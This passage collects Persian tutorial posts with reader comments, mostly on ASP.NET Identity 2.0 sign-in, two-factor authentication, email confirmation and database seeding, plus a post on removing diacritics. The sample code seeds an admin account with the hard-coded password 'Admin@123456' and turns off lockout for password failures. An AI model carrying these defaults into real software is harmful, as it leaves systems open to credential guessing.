دو کلاس دیگری که در فایل *IdentityConfig.cs* وجود دارند کلاس‌های EmailService و SmsService هستند. بصورت پیش فرض این کلاس‌ها تنها یک wrapper هستند که می‌توانید با توسعه آنها سرویس‌های مورد نیاز برای احراز هویت دو مرحله ای و تایید حساب‌های کاربری را بسازید.

```
public class EmailService : IIdentityMessageService
{
    public Task SendAsync(IdentityMessage message)
    {
        // Plug in your email service here to send an email.
        return Task.FromResult(0);
    }
}
```

```
public class SmsService : IIdentityMessageService
{
    public Task SendAsync(IdentityMessage message)
    {
        // Plug in your sms service here to send a text message.
        return Task.FromResult(0);
    }
}
```

دقت کنید که هر دو این کلاس‌ها قرارداد واحدی را بنام IIdentityMessageService پیاده سازی می‌کنند. همچنین قطعه کد زیر را از متد ApplicationUserManager.Create() بیاد آورید.

```
// Register two factor authentication providers. This application uses
// Phone and Emails as a step of receiving a code for verifying
// the user You can write your own provider and plug in here.
manager.RegisterTwoFactorProvider("PhoneCode",
    new PhoneNumberTokenProvider<ApplicationUser>
{
    MessageFormat = "Your security code is: {0}"
});

manager.RegisterTwoFactorProvider("EmailCode",
    new EmailTokenProvider<ApplicationUser>
{
    Subject = "SecurityCode",
    BodyFormat = "Your security code is {0}"
});

manager.EmailService = new EmailService();
manager.SmsService = new SmsService();
```

همانطور که می‌بینید در متد Create() کلاس‌های EmailService و SmsService وهله سازی شده و توسط خواص مرتبط به وهله ApplicationUserManager ارجاع می‌شوند.

کلاس کمکی SignIn

هنگام توسعه پروژه مثال Identity، تیم توسعه دهندگان کلاسی کمکی برای ما ساخته‌اند که فرامین عمومی احراز هویت کاربران و ورود آنها به اپلیکیشن را توسط یک API ساده فراهم می‌سازد. برای آشنایی با نحوه استفاده از این متدها می‌توانیم به کنترلر AccountController در پوشه Controllers مراجعه کنیم. اما پیش از آن بگذارید نگاهی به خود کلاس SignInHelper داشته

باشیم.

```
public class SignInHelper
{
    public SignInHelper(
        ApplicationUserManager userManager,
        IAuthenticationManager authManager)
    {
        UserManager = userManager;
        AuthenticationManager = authManager;
    }

    public ApplicationUserManager UserManager { get; private set; }
    public IAuthenticationManager AuthenticationManager { get; private set; }

    public async Task SignInAsync(
        ApplicationUser user,
        bool isPersistent,
        bool rememberBrowser)
    {
        // Clear any partial cookies from external or two factor partial sign ins
        AuthenticationManager.SignOut(
            DefaultAuthenticationTypes.ExternalCookie,
            DefaultAuthenticationTypes.TwoFactorCookie);

        var userIdentity = await user.GenerateUserIdentityAsync(UserManager);

        if (rememberBrowser)
        {
            var rememberBrowserIdentity =
                AuthenticationManager.CreateTwoFactorRememberBrowserIdentity(user.Id);

            AuthenticationManager.SignIn(
                new AuthenticationProperties { IsPersistent = isPersistent },
                userIdentity,
                rememberBrowserIdentity);
        }
        else
        {
            AuthenticationManager.SignIn(
                new AuthenticationProperties { IsPersistent = isPersistent },
                userIdentity);
        }
    }

    public async Task<bool> SendTwoFactorCode(string provider)
    {
        var userId = await GetVerifiedUserIdAsync();

        if (userId == null)
        {
            return false;
        }

        var token = await UserManager.GenerateTwoFactorTokenAsync(userId, provider);

        // See IdentityConfig.cs to plug in Email/SMS services to actually send the code
        await UserManager.NotifyTwoFactorTokenAsync(userId, provider, token);

        return true;
    }

    public async Task<string> GetVerifiedUserIdAsync()
    {
        var result = await AuthenticationManager.AuthenticateAsync(
            DefaultAuthenticationTypes.TwoFactorCookie);

        if (result != null && result.Identity != null
            && !String.IsNullOrEmpty(result.Identity.GetUserId()))
        {
            return result.Identity.GetUserId();
        }

        return null;
    }

    public async Task<bool> HasBeenVerified()
    {
        return await GetVerifiedUserIdAsync() != null;
    }
```

```
    public async Task<SignInStatus> TwoFactorSignIn(
        string provider,
        string code,
        bool isPersistent,
        bool rememberBrowser)
    {
        var userId = await GetVerifiedUserIdAsync();

        if (userId == null)
        {
            return SignInStatus.Failure;
        }

        var user = await UserManager.FindByIdAsync(userId);

        if (user == null)
        {
            return SignInStatus.Failure;
        }

        if (await UserManager.IsLockedOutAsync(user.Id))
        {
            return SignInStatus.LockedOut;
        }

        if (await UserManager.VerifyTwoFactorTokenAsync(user.Id, provider, code))
        {
            // When token is verified correctly, clear the access failed
            // count used for lockout
            await UserManager.ResetAccessFailedCountAsync(user.Id);
            await SignInAsync(user, isPersistent, rememberBrowser);

            return SignInStatus.Success;
        }

        // If the token is incorrect, record the failure which
        // also may cause the user to be locked out
        await UserManager.AccessFailedAsync(user.Id);

        return SignInStatus.Failure;
    }

    public async Task<SignInStatus> ExternalSignIn(
        ExternalLoginInfo loginInfo,
        bool isPersistent)
    {
        var user = await UserManager.FindAsync(loginInfo.Login);

        if (user == null)
        {
            return SignInStatus.Failure;
        }

        if (await UserManager.IsLockedOutAsync(user.Id))
        {
            return SignInStatus.LockedOut;
        }

        return await SignInOrTwoFactor(user, isPersistent);
    }

    private async Task<SignInStatus> SignInOrTwoFactor(
        ApplicationUser user,
        bool isPersistent)
    {
        if (await UserManager.GetTwoFactorEnabledAsync(user.Id) &&
            !await AuthenticationManager.TwoFactorBrowserRememberedAsync(user.Id))
        {
            var identity = new ClaimsIdentity(DefaultAuthenticationTypes.TwoFactorCookie);
            identity.AddClaim(new Claim(ClaimTypes.NameIdentifier, user.Id));

            AuthenticationManager.SignIn(identity);
            return SignInStatus.RequiresTwoFactorAuthentication;
        }

        await SignInAsync(user, isPersistent, false);
        return SignInStatus.Success;
    }

    public async Task<SignInStatus> PasswordSignIn(
```

```
        string userName,
        string password,
        bool isPersistent,
        bool shouldLockout)
    {
        var user = await UserManager.FindByNameAsync(userName);

        if (user == null)
        {
            return SignInStatus.Failure;
        }

        if (await UserManager.IsLockedOutAsync(user.Id))
        {
            return SignInStatus.LockedOut;
        }

        if (await UserManager.CheckPasswordAsync(user, password))
        {
            return await SignInOrTwoFactor(user, isPersistent);
        }

        if (shouldLockout)
        {
            // If lockout is requested, increment access failed
            // count which might lock out the user
            await UserManager.AccessFailedAsync(user.Id);

            if (await UserManager.IsLockedOutAsync(user.Id))
            {
                return SignInStatus.LockedOut;
            }
        }

        return SignInStatus.Failure;
    }
}
```

کد این کلاس نسبتا طولانی است، و بررسی عمیق آنها از حوصله این مقاله خارج است. گرچه اگر به دقت یکبار این کلاس را مطالعه کنید می‌توانید براحتی از نحوه کارکرد آن آگاه شوید. همانطور که می‌بینید اکثر متدهای این کلاس مربوط به ورود کاربران و مسئولیت‌های تعیین سطوح دسترسی است.

این متدها ویژگی‌های جدیدی که در Identity 2.0 عرضه شده اند را در بر می‌گیرند. متد آشنایی بنام SignInAsync() را می‌بینیم، و متدهای دیگری که مربوط به احراز هویت دو مرحله ای و external log-ins می‌شوند. اگر به متدها دقت کنید خواهید دید که برای ورود کاربران به اپلیکیشن کارهای بیشتری نسبت به نسخه پیشین انجام می‌شود.

بعنوان مثال متد Login در کنترلر AccountController را باز کنید تا نحوه مدیریت احراز هویت در Identity 2.0 را ببینید.

```
[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
public async Task<ActionResult> Login(LoginViewModel model, string returnUrl)
{
    if (!ModelState.IsValid)
    {
        return View(model);
    }

    // This doen't count login failures towards lockout only two factor authentication
    // To enable password failures to trigger lockout, change to shouldLockout: true
    var result = await SignInHelper.PasswordSignIn(
        model.Email,
        model.Password,
        model.RememberMe,
        shouldLockout: false);

    switch (result)
    {
        case SignInStatus.Success:
            return RedirectToLocal(returnUrl);
        case SignInStatus.LockedOut:
            return View("Lockout");
```

```
        case SignInStatus.RequiresTwoFactorAuthentication:
            return RedirectToAction("SendCode", new { ReturnUrl = returnUrl });
        case SignInStatus.Failure:
        default:
            ModelState.AddModelError("", "Invalid login attempt.");

            return View(model);
    }
}
```

مقایسه Sign-in با نسخه Identity 1.0

در نسخه 1.0 این فریم ورک، ورود کاربران به اپلیکیشن مانند لیست زیر انجام می‌شد. اگر متد Login در کنترلر AccountController را باز کنید چنین قطعه کدی را می‌بینید.

```
[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
public async Task<ActionResult> Login(LoginViewModel model, string returnUrl)
{
    if (ModelState.IsValid)
    {
        var user = await UserManager.FindAsync(model.UserName, model.Password);

        if (user != null)
        {
            await SignInAsync(user, model.RememberMe);
            return RedirectToLocal(returnUrl);
        }
        else
        {
            ModelState.AddModelError("", "Invalid username or password.");
        }
    }

    // If we got this far, something failed, redisplay form
    return View(model);
}
```

در قطعه کد بالا متدی در کلاس UserManager را فراخوانی می‌کنیم که مشابه قطعه کدی است که در کلاس SignInHelper دیدیم. همچنین متد SignInAsync را فراخوانی می‌کنیم که مستقیما روی کنترلر AccountController تعریف شده است.

```
private async Task SignInAsync(ApplicationUser user, bool isPersistent)
{
    AuthenticationManager.SignOut(
        DefaultAuthenticationTypes.ExternalCookie);

    var identity = await UserManager.CreateIdentityAsync(
        user, DefaultAuthenticationTypes.ApplicationCookie);

    AuthenticationManager.SignIn(
        new AuthenticationProperties() { IsPersistent = isPersistent }, identity);
}
```

مسلما با عرضه قابلیت‌های جدید در Identity 2.0 و تغییرات معماری این فریم ورک، پیچیدگی هایی معرفی می‌شود که حتی در امور ساده ای مانند ورود کاربران نیز قابل مشاهده است.

ApplicationDbContext

اگر از نسخه پیشین Identity در اپلیکیشن‌های ASP.NET MVC استفاده کرده باشید با کلاس ApplicationDbContext آشنا هستید. این کلاس پیاده سازی پیش فرض EF فریم ورک است، که اپلیکیشن شما توسط آن داده‌های مربوط به Identity را ذخیره و بازیابی می‌کند.

در پروژه مثال ها، تیم Identity این کلاس را بطور متفاوتی نسبت به نسخه 1.0 پیکربندی کرده اند. اگر فایل *IdentityModels.cs* را باز کنید تعاریف کلاس ApplicationDbContext را مانند لیست زیر خواهید یافت.

```
public class ApplicationDbContext : IdentityDbContext<ApplicationUser> {
    public ApplicationDbContext()
        : base("DefaultConnection", throwIfV1Schema: false) {
    }

    static ApplicationDbContext() {
        // Set the database intializer which is run once during application start
        // This seeds the database with admin user credentials and admin role
        Database.SetInitializer<ApplicationDbContext>(new ApplicationDbInitializer());
    }

    public static ApplicationDbContext Create() {
        return new ApplicationDbContext();
    }
}
```

قطعه کد بالا دو متد استاتیک تعریف می‌کند. یکی Create() و دیگری ApplicationDbContext() که سازنده دیتابیس (database initializer) را تنظیم می‌کند. این متد هنگام اجرای اپلیکیشن فراخوانی می‌شود و هر پیکربندی ای که در کلاس ApplicationDbInitializer تعریف شده باشد را اجرا می‌کند. اگر به فایل *IdentityConfig.cs* مراجعه کنیم می‌توانیم تعاریف این کلاس را مانند لیست زیر بیابیم.

```
public class ApplicationDbInitializer
    : DropCreateDatabaseIfModelChanges<ApplicationDbContext>
{
    protected override void Seed(ApplicationDbContext context)
    {
        InitializeIdentityForEF(context);
        base.Seed(context);
    }

    public static void InitializeIdentityForEF(ApplicationDbContext db)
    {
        var userManager = HttpContext
            .Current.GetOwinContext()
            .GetUserManager<ApplicationUserManager>();

        var roleManager = HttpContext.Current
            .GetOwinContext()
            .Get<ApplicationRoleManager>();

        const string name = "admin@admin.com";
        const string password = "Admin@123456";
        const string roleName = "Admin";

        //Create Role Admin if it does not exist
        var role = roleManager.FindByName(roleName);

        if (role == null)
        {
            role = new IdentityRole(roleName);
            var roleresult = roleManager.Create(role);
        }

        var user = userManager.FindByName(name);

        if (user == null)
        {
            user = new ApplicationUser { UserName = name, Email = name };

            var result = userManager.Create(user, password);
            result = userManager.SetLockoutEnabled(user.Id, false);
        }

        // Add user admin to Role Admin if not already added
        var rolesForUser = userManager.GetRoles(user.Id);

        if (!rolesForUser.Contains(role.Name))
        {
            var result = userManager.AddToRole(user.Id, role.Name);
        }
    }
}
```

پیکربندی جاری در صورتی که مدل موجودیت‌ها تغییر کنند دیتابیس را پاک کرده و مجددا ایجاد می‌کند. در غیر اینصورت از دیتابیس موجود استفاده خواهد شد. اگر بخواهیم با هر بار اجرای اپلیکیشن دیتابیس از نو ساخته شود، می‌توانیم کلاس مربوطه را به DropCreateDatabaseAlways<ApplicationDbContext> تغییر دهیم. بعنوان مثال هنگام توسعه اپلیکیشن و بمنظور تست می‌توانیم از این رویکرد استفاده کنیم تا هر بار با دیتابیسی (تقریبا) خالی شروع کنیم.

نکته حائز اهمیت دیگر متد InitializeIdentityForEF() است. این متد کاری مشابه متد Seed() انجام می‌دهد که هنگام استفاده از مهاجرت‌ها (Migrations) از آن استفاده می‌کنیم. در این متد می‌توانید رکوردهای اولیه ای را در دیتابیس ثبت کنید. همانطور که مشاهده می‌کنید در قطعه کد بالا نقشی مدیریتی بنام Admin ایجاد شده و کاربر جدیدی با اطلاعاتی پیش فرض ساخته می‌شود که در آخر به این نقش منتسب می‌گردد. با انجام این مراحل، پس از اجرای اولیه اپلیکیشن کاربری با سطح دسترسی مدیر در اختیار خواهیم داشت که برای تست اپلیکیشن بسیار مفید خواهد بود.

در این مقاله نگاهی اجمالی به Identity 2.0 در پروژه‌های ASP.NET MVC داشتیم. کامپوننت‌های مختلف فریم ورک و نحوه پیکربندی آنها را بررسی کردیم و با تغییرات و قابلیت‌های جدید به اختصار آشنا شدیم. در مقالات بعدی بررسی هایی عمیق‌تر خواهیم داشت و با نحوه استفاده و پیاده سازی قسمت‌های مختلف این فریم ورک آشنا خواهیم شد.

مطالعه بیشتر

MSDN: Announcing RTM of ASP.NET Identity 2.0.0

Identity 2.0 on Codeplex

نظرات خوانندگان

نویسنده: محمّد زارع
تاریخ: ۱۳۹۳/۰۶/۰۷ ۱۹:۷

سلام. من از ASP.NET Identity توی پروژم استفاده کردم و همه چیز درست کار میکنه (در محیط توسعه). سوالی که دارم مربوط به بررسی نقش‌های کاربر هستش. میخواستم بدونم استفاده از HttpContext.Current.User.IsInRole توی ASP.NET Identity هم درست هست یا نه؟ من الان توی محیط توسعه هیچ مشکلی در استفاده ازش نمیبینم ولی چندجا توی اینترنت دیدم که گفته بودن استفاده از این روش قدیمی هستش و بعد از Publish کردن به مشکل میخوره و بهتر هستش که از UserManager.IsInRole استفاده بشه.

ممنون میشم اگر راهنمایی بفرمایید. https://aspnetidentity.codeplex.com/workitem/2189
http://codeverge.com/asp.net.security/user.isinrole-not-working-in-production/73992

نویسنده: هومن
تاریخ: ۱۳۹۳/۰۶/۱۱ ۱۳:۲۴

سلام
نمونه پروژه ای وجود داره که با استفاده از identity 2.0 سیستم گروپ بیس رو پیاده سازی کرده باشه؟
نمونه identity 1.0 رو پیدا کردم ولی هرکاری کردم نتونستم تبدیلش کنم به نسخه دوم

نویسنده: ایلیا
تاریخ: ۱۳۹۳/۰۸/۱۹ ۱۳:۲۰

اگه در حالت EF Code First نباشیم و دیتابیسمون به صورت Database First باشه و دیتااکسسمون ADO Entity Data Model یا همون edmx باشه.چطوری می‌تونیم از Identity استفاده کنیم؟(البته از MVC 5 و EF 6 دارم استفاده می‌کنم
و دوم اینکه جداول لازم رو خودمون باید بسازیم یا مثل Membership خودش میسازه؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۸/۱۹ ۱۴:۰

- Use ASP.NET Identity on existing DB-Model PART 1
- ASP.NET Identity 2.0 on existing DB-model PART 2

نویسنده: نرگس حقیقی
تاریخ: ۱۳۹۳/۰۹/۲۲ ۱۲:۳

سلام؛ آیا میشه در یه پروژه MVC که از EF6 برای ارتباط با Sql Server استفاده میکنه و بدلیل زیاد بودن تعداد جداول از class Library جداگانه‌ای به‌منظور Migrate کردن بانک استفاده میکنه، از Identity هم استفاده کرد؛ با وجود اینکه به Identity Code کاربران در جداول دیگر هم نیاز هست؟ اصلا این کار ممکنه؟

نویسنده: صابر فتح الهی
تاریخ: ۱۳۹۳/۰۹/۲۲ ۱۸:۵۳

سرویس خوبیه اما کمی کار باهاش در عین سادگی پیچیده اس.
مثلا پیاده سازی اون و تفکیک تو لایه‌های سرویس و دامین و لایه نمایش واقعا ادم گیج میکنه
هر چند زیاد هم نمی‌توان الگوی واحد کار باهاش به کار برد - البته نظر شخصی منه

نویسنده: وحید نصیری

تاریخ: ۱۳۹۳/۰۹/۲۹ ۱۳:۴۲

« اعمال تزریق وابستگی‌ها به مثال رسمی ASP.NET Identity »

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۹/۲۹ ۱۳:۴۳

بله. مراجعه کنید به این مثال: « اعمال تزریق وابستگی‌ها به مثال رسمی ASP.NET Identity »

نویسنده: آذرنیوا
تاریخ: ۱۳۹۳/۱۱/۲۷ ۷:۲۴

نحوه تعیین سطح دسترسی در asp form برای متدها و فرم‌ها ها چه گونه است مثل کاری که فیلتر authorize در mvc انجام می‌ده

نویسنده: محسن خان
تاریخ: ۱۳۹۳/۱۱/۲۷ ۱۰:۱۹

افزودن ASP.NET Identity به یک پروژه Web Forms

عنوان: **حذف اعراب از حروف و کلمات**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۲/۱۰ ۰:۱۰
آدرس: www.dotnettips.info
گروه‌ها: Security, Persian, Unicode

برای بهبود قسمت ثبت نام در یک سایت بهتر است بین «وحید» و «وَحید» تفاوتی قائل نشد. این مورد ممکن است خصوصا حین ارسال پیام‌های خصوصی در آینده جهت تشخیص افراد مشکل ساز شود. همچنین در تهیه slug برای نمایش در Urlها نیز باید اعراب را حذف کرد. منظور از slug، عنوان کوتاهی است که در انتهای یک آدرس ممکن است ذکر شود.

```
http://www.site.com/post/12/slug
```

سؤال: چگونه می‌توان اعراب را از متون فارسی یا عربی حذف کرد؟

متد انجام اینکار را در ذیل مشاهده می‌کنید:

```
using System.Globalization;
using System.Text;

    static string RemoveDiacritics(string text)
    {
        var normalizedString = text.Normalize(NormalizationForm.FormD);
        var stringBuilder = new StringBuilder();

        foreach (var c in normalizedString)
        {
            var unicodeCategory = CharUnicodeInfo.GetUnicodeCategory(c);
            if (unicodeCategory != UnicodeCategory.NonSpacingMark)
            {
                stringBuilder.Append(c);
            }
        }

        return stringBuilder.ToString().Normalize(NormalizationForm.FormC);
    }
```

توضیحات

متد Normalize با پارامتر NormalizationForm.FormD، سبب می‌شود تا کاراکترها به گلیف‌های اصلی تشکیل دهنده‌ی آن‌ها تجزیه شوند. به عبارتی، حروف از اعراب جدا خواهند شد. در ادامه این کاراکترها اسکن شده و صرفا مواردی که حروف پایه را تشکیل می‌دهند، جمع آوری و بازگشت داده می‌شوند. حالت NormalizationForm.FormC که در انتها بکار گرفته شده، برعکس است.
در یونیکد یک حرف می‌تواند از یک یا چند code point تشکیل شود. در حالت FormC، هر حرف با اعراب آن یک code point را تشکیل می‌دهند. در حالت FormD، حرف با اعراب آن دو code point را تشکیل خواهند داد. به همین جهت در ابتدای کار، رشته تبدیل به حالت D شده تا بتوان اعراب آن‌را مجزای از حروف پایه حذف کرد.
البته اعراب در اینجا به اعراب عربی ختم نمی‌شود. یک سری حروف اروپایی مانند "ö"، "ä" و "ü" را نیز شامل می‌شود.

نظرات خوانندگان

نویسنده: امیر هاشم زاده
تاریخ: ۱۳۹۳/۰۲/۱۱ ۱۶:۱۲

اطلاعات بیشتر در این پرسش و پاسخ .
لیست کاراکترهای یونیکد از نوع NonSpacingMark

نویسنده: امیر هاشم زاده
تاریخ: ۱۳۹۳/۰۲/۱۱ ۱۶:۴۴

یک سوال: علت استفاده از حالت FormC در انتهای کد چیست؟ چرا فقط به کد زیر بسنده نکردیم:

```
return stringBuilder.ToString();
```

بوسیله Normalize، می‌توانیم خروجی را با مقدار string دیگر مقایسه نماییم یا بعبارت دیگر خروجی مقایسه پذیر خواهد شد. در این پرسش و پاسخ بیشتر درباره Normalize بحث شده است.

نویسنده: داوود
تاریخ: ۱۳۹۳/۰۲/۱۳ ۸:۱۳

با سلام
آیا تنوین و تشدید در این حالت جز اعراب محسوب میشوند
و همچنین ی (یای عربی) جز حروف اعراب دار است
تشکر بابت مطلب مفیدتون

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۲/۱۳ ۹:۲

- بله.
- خیر.

نویسنده: علیرضا
تاریخ: ۱۳۹۳/۰۲/۱۳ ۱۴:۳۹

با سلام. برای سرچ یک کلمه بدون اعراب در متنی پر از اعراب باید به چه صورت عمل کرد که بهینه باشد؟
مثلا کلمه‌ی محمد را بخواهیم در دیتابیسی که متن کل قرآن است سرچ کنیم.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۲/۱۳ ۱۴:۵۶

جستجوی بهینه‌ی متنی بر روی حجم بالایی از اطلاعات بهتر است توسط روش‌های full text search انجام شود. مثلا از لوسین استفاده کنید، به همراه Lucene.Net.Analysis.Analyzer.ArabicAnalyzer آن که مخصوص جستجو بر روی متون عربی است.
همچنین اگر از FTS در SQL Server استفاده می‌کنید باید از accent insensitive collate استفاده کنید.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۵/۲۴ ۲۳:۱۹

اصلاحیه!
کدهای فوق «آ» را تبدیل به «ا» می‌کنند. مشکلی بود که در حین ثبت نام پیش آمده بود. «آفتاب» برای مثال تبدیل به «افتاب»

می‌شد. برای رفع، داخل حلقه:

```
if (unicodeCategory != UnicodeCategory.NonSpacingMark)
                {
                    stringBuilder.Append(c);
                }
                else
                {
                    //اسامی مانند آفتاب نباید خراب شوند
                    if (c == 1619) //آ
                    {
                        stringBuilder.Append(c);
                    }
                }
```

نویسنده: محمد رضا صفری
تاریخ: ۱۳۹۳/۱۲/۰۹ ۱۲:۳۱

با سلام .

من از PersianAnalyzer که قبلا هم معرفی شده بود استفاده می‌کنم .

اما متون من به این صورت هست که حروف فارسی و عربی با هم مخلوط هستند . مثلا یک توضیحی در مورد یکی از آیات قرآن رو فرض کنید .

در حال حاظر مشکلی برای حروف معمولی نیست ، اما حروفی که اعراب دارند پیدا نمی‌شوند . آیا باید از این ArabicAnalyzer به جای اون استفاده کنم یا همون رو میشه جوری انجام داد که مشکلی پیش نیاد ؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۱۲/۰۹ ۱۳:۳

اگر می‌خواهید در حین جستجو، فرقی بین حروف اعراب‌دار و معادل معمولی و بدون اعراب آن‌ها نباشد، در حین تشکیل ایندکس لوسین متد RemoveDiacritics معرفی شده در متن را جهت پاکسازی اعراب، پیش از ذخیره سازی آن‌ها در ایندکس‌ها و اسناد لوسین بکار بگیرد. همچنین در حین جستجو هم ورودی کاربر را با همین متد پاکسازی کنید. برای نمونه معمول است که در حین ایندکس کردن اسناد HTML، ابتدا تمام تگ‌های آن‌ها حذف شده و سپس صرفا متن موجود در صفحه به ایندکس‌ها معرفی می‌شوند.

عنوان: **Identity 2.0 : تایید حساب های کاربری و احراز هویت دو مرحله ای**
نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۳/۰۲/۱۰ ۱:۳۰
آدرس: www.dotnettips.info
گروه‌ها: MVC, Security, ASP.NET Identity

در پست قبلی نگاهی اجمالی به انتشار نسخه جدید Identity Framework داشتیم. نسخه جدید تغییرات چشمگیری را در فریم ورک بوجود آورده و قابلیت‌های جدیدی نیز عرضه شده‌اند. دو مورد از این قابلیت‌ها که پیشتر بسیار درخواست شده بود، تایید حساب‌های کاربری (Account Validation) و احراز هویت دو مرحله ای (Two-Factor Authorization) بود. در این پست راه اندازی این دو قابلیت را بررسی می‌کنیم.

تیم ASP.NET Identity پروژه نمونه ای را فراهم کرده است که می‌تواند بعنوان نقطه شروعی برای اپلیکیشن‌های MVC استفاده شود. پیکربندی‌های لازم در این پروژه انجام شده‌اند و برای استفاده از فریم ورک جدید آماده است.

شروع به کار : پروژه نمونه را توسط NuGet ایجاد کنید

برای شروع یک پروژه ASP.NET خالی ایجاد کنید (در دیالوگ قالب‌ها گزینه Empty را انتخاب کنید). سپس کنسول Package Manager را باز کرده و دستور زیر را اجرا کنید.

```
PM> Install-Package Microsoft.AspNet.Identity.Samples -Pre
```

پس از اینکه NuGet کارش را به اتمام رساند باید پروژه ای با ساختار متداول پروژه‌های ASP.NET MVC داشته باشید. به تصویر زیر دقت کنید.

Solution Explorer
Search Solution Explorer (Ctrl+;)
Solution 'Identity2Examples' (1 project)
Identity2Examples
Properties
References
App_Start
BundleConfig.cs
FilterConfig.cs
IdentityConfig.cs
RouteConfig.cs
Startup.Auth.cs
Content
Controllers
AccountController.cs
HomeController.cs
ManageController.cs
RolesAdminController.cs
UserAdminController.cs
fonts
Models
AccountViewModels.cs
AdminViewModel.cs
IdentityModels.cs
ManageViewModels.cs
Scripts
Views
Global.asax
packages.config
Startup.cs
Web.config
Solution Explorer
Team Explorer

همانطور که می‌بینید ساختار پروژه بسیار مشابه پروژه‌های معمول MVC است، اما آیتم‌های جدیدی نیز وجود دارند. فعلا تمرکز اصلی ما روی فایل *IdentityConfig.cs* است که در پوشه *App_Start* قرار دارد.

اگر فایل مذکور را باز کنید و کمی اسکرول کنید تعاریف دو کلاس سرویس را مشاهده می‌کنید: EmailService و SmsService.

```
public class EmailService : IIdentityMessageService
{
    public Task SendAsync(IdentityMessage message)
    {
        // Plug in your email service here to send an email.
        return Task.FromResult(0);
    }
}

public class SmsService : IIdentityMessageService
{
    public Task SendAsync(IdentityMessage message)
    {
        // Plug in your sms service here to send a text message.
        return Task.FromResult(0);
    }
}
```

اگر دقت کنید هر دو کلاس قرارداد IIdentityMessageService را پیاده سازی می‌کنند. می‌توانید از این قرارداد برای پیاده سازی سرویس‌های اطلاع رسانی ایمیلی، پیامکی و غیره استفاده کنید. در ادامه خواهیم دید چگونه این دو سرویس را بسط دهیم.

یک حساب کاربری مدیریتی پیش فرض ایجاد کنید

پیش از آنکه بیشتر جلو رویم نیاز به یک حساب کاربری در نقش مدیریتی داریم تا با اجرای اولیه اپلیکیشن در دسترس باشد. کلاسی بنام ApplicationDbInitializer در همین فایل وجود دارد که هنگام اجرای اولیه و یا تشخیص تغییرات در مدل دیتابیس، اطلاعاتی را Seed می‌کند.

```
public class ApplicationDbInitializer
    : DropCreateDatabaseIfModelChanges<ApplicationDbContext>
{
    protected override void Seed(ApplicationDbContext context) {
        InitializeIdentityForEF(context);
        base.Seed(context);
    }

    //Create User=Admin@Admin.com with password=Admin@123456 in the Admin role
    public static void InitializeIdentityForEF(ApplicationDbContext db)
    {
        var userManager =
           HttpContext.Current.GetOwinContext().GetUserManager<ApplicationUserManager>();

        var roleManager =
            HttpContext.Current.GetOwinContext().Get<ApplicationRoleManager>();

        const string name = "admin@admin.com";
        const string password = "Admin@123456";
        const string roleName = "Admin";

        //Create Role Admin if it does not exist
        var role = roleManager.FindByName(roleName);

        if (role == null) {
            role = new IdentityRole(roleName);
            var roleresult = roleManager.Create(role);
        }

        var user = userManager.FindByName(name);

        if (user == null) {
            user = new ApplicationUser { UserName = name, Email = name };
            var result = userManager.Create(user, password);
```

```
            result = userManager.SetLockoutEnabled(user.Id, false);
        }

        // Add user admin to Role Admin if not already added
        var rolesForUser = userManager.GetRoles(user.Id);

        if (!rolesForUser.Contains(role.Name)) {
            var result = userManager.AddToRole(user.Id, role.Name);
        }
    }
}
```

همانطور که می‌بینید این قطعه کد ابتدا نقشی بنام Admin می‌سازد. سپس حساب کاربری ای، با اطلاعاتی پیش فرض ایجاد شده و بدین نقش منتسب می‌گردد. اطلاعات کاربر را به دلخواه تغییر دهید و ترجیحا از یک آدرس ایمیل زنده برای آن استفاده کنید.

تایید حساب‌های کاربری : چگونه کار می‌کند

بدون شک با تایید حساب‌های کاربری توسط ایمیل آشنا هستید. حساب کاربری ای ایجاد می‌کنید و ایمیلی به آدرس شما ارسال می‌شود که حاوی لینک فعالسازی است. با کلیک کردن این لینک حساب کاربری شما تایید شده و می‌توانید به سایت وارد شوید.

اگر به کنترلر AccountController در این پروژه نمونه مراجعه کنید متد Register را مانند لیست زیر می‌یابید.

```
[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
public async Task<ActionResult> Register(RegisterViewModel model)
{
    if (ModelState.IsValid)
    {
        var user = new ApplicationUser { UserName = model.Email, Email = model.Email };
        var result = await UserManager.CreateAsync(user, model.Password);

        if (result.Succeeded)
        {
            var code = await UserManager.GenerateEmailConfirmationTokenAsync(user.Id);

            var callbackUrl = Url.Action(
                "ConfirmEmail",
                "Account",
                new { userId = user.Id, code = code },
                protocol: Request.Url.Scheme);

            await UserManager.SendEmailAsync(
                user.Id,
                "Confirm your account",
                "Please confirm your account by clicking this link: <a href=\""
                + callbackUrl + "\">link</a>");

            ViewBag.Link = callbackUrl;

            return View("DisplayEmail");
        }
        AddErrors(result);
    }

    // If we got this far, something failed, redisplay form
    return View(model);
}
```

اگر به قطعه کد بالا دقت کنید فراخوانی متد UserManager.SendEmailAsync را می‌یابید که آرگومانهایی را به آن پاس می‌دهیم. در کنترلر جاری، آبجکت UserManager یک خاصیت (Property) است که وهله ای از نوع ApplicationUserManager را باز می‌گرداند. اگر به فایل *IdentityConfig.cs* مراجعه کنید تعاریف این کلاس را خواهید یافت. در این کلاس، متد استاتیک ()Create وهله ای از ApplicationUserManager را می‌سازد که در همین مرحله سرویس‌های پیام رسانی پیکربندی می‌شوند.

```
public static ApplicationUserManager Create(
    IdentityFactoryOptions<ApplicationUserManager> options,
    IOwinContext context)
```

```
{
    var manager = new ApplicationUserManager(
        new UserStore<ApplicationUser>(
            context.Get<ApplicationDbContext>()));

    // Configure validation logic for usernames
    manager.UserValidator = new UserValidator<ApplicationUser>(manager)
    {
        AllowOnlyAlphanumericUserNames = false,
        RequireUniqueEmail = true
    };

    // Configure validation logic for passwords
    manager.PasswordValidator = new PasswordValidator
    {
        RequiredLength = 6,
        RequireNonLetterOrDigit = true,
        RequireDigit = true,
        RequireLowercase = true,
        RequireUppercase = true,
    };

    // Configure user lockout defaults
    manager.UserLockoutEnabledByDefault = true;
    manager.DefaultAccountLockoutTimeSpan = TimeSpan.FromMinutes(5);
    manager.MaxFailedAccessAttemptsBeforeLockout = 5;

    // Register two factor authentication providers. This application
